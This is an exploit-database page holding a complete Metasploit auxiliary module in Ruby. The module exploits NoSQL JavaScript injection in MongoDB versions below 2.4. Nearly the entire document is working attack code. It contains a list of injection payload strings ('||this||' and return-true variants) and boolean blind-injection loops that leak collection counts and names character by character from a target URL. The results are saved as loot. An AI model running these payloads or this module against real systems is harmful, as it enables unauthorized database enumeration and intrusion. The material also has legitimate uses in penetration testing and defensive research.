MongoDB NoSQL Collection Enumeration Via Injection



EKU-ID: 4122 CVE: OSVDB-ID:
Author: Brandon Perry Published: 2014-07-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
  
require 'msf/core'
  
class Metasploit4 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  
  def initialize(info={})
    super(update_info(info,
      'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
      'Description' => %q{
This module can exploit NoSQL injections on MongoDB versions less than 2.4
and enumerate the collections available in the data via boolean injections.
},
      'License' => MSF_LICENSE,
      'Author' =>
        ['Brandon Perry <bperry.volatile[at]gmail.com>'],
      'References' =>
        [
          ['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript']
        ],
      'Platform' => ['linux', 'win'],
      'Privileged' => false,
      'DisclosureDate' => "Jun 7 2014"))
  
      register_options(
      [
        OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
      ], self.class)
  end
  
  def syntaxes
    [["\"'||this||'", "'||[inject]||'"],
     ["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
     ['\'"||this||"','"||[inject]||"'],
     ['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
     ["||this","||[inject]"]]
  end
  
  def run
    uri = datastore['TARGETURI']
  
    res = send_request_cgi({
      'uri' => uri.sub('[NoSQLi]', '')
    })
  
    if !res
      fail_with("Server did not respond in an expected way.")
    end
  
    pay = ""
    fals = res.body
    tru = nil
  
    syntaxes.each do |payload|
      print_status("Testing " + payload[0])
      res = send_request_cgi({
        'uri' => uri.sub('[NoSQLi]', payload[0])
      })
  
      if res and res.body != fals and res.code == 200
        print_status("Looks like " + payload[0] + " works")
        tru = res.body
  
        res = send_request_cgi({
          'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
        })
  
        if res and res.body != tru and res.code == 200
          vprint_status("I think I confirmed with a negative test.")
          fals = res.body
          pay = payload[1]
          break
        end
      end
    end
  
    if pay == ''
      fail_with("Couldn't detect a payload, maybe it isn't injectable.")
    end
  
    length = 0
    vprint_status("Getting length of the number of collections.")
    (0..100).each do |len|
      str = "db.getCollectionNames().length==#{len}"
      res = send_request_cgi({
        'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
      })
  
      if res and res.body == tru
        length = len
        print_status("#{len} collections are available")
        break
      end
    end
  
    vprint_status("Getting collection names")
  
    names = []
    (0...length).each do |i|
      vprint_status("Getting length of name for collection " + i.to_s)
  
      name_len = 0
      (0..100).each do |k|
        str = "db.getCollectionNames()[#{i}].length==#{k}"
        res = send_request_cgi({
          'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
        })
  
        if res and res.body == tru
          name_len = k
          print_status("Length of collection #{i}'s name is #{k}")
          break
        end
      end
  
      vprint_status("Getting collection #{i}'s name")
  
      name = ''
      (0...name_len).each do |k|
        [*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
          str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
          res = send_request_cgi({
            'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
          })
  
          if res and res.body == tru
            name << c
            break
          end
        end
      end
  
      print_status("Collections #{i}'s name is " + name)
      names << name
    end
  
    p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
                   "text/plain",
                   nil,
                   names.to_json,
                   "mongo_injection_#{datastore['RHOST']}.txt",
                   "#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
  
    print_good("Your collections are located at: " + p)
  end
end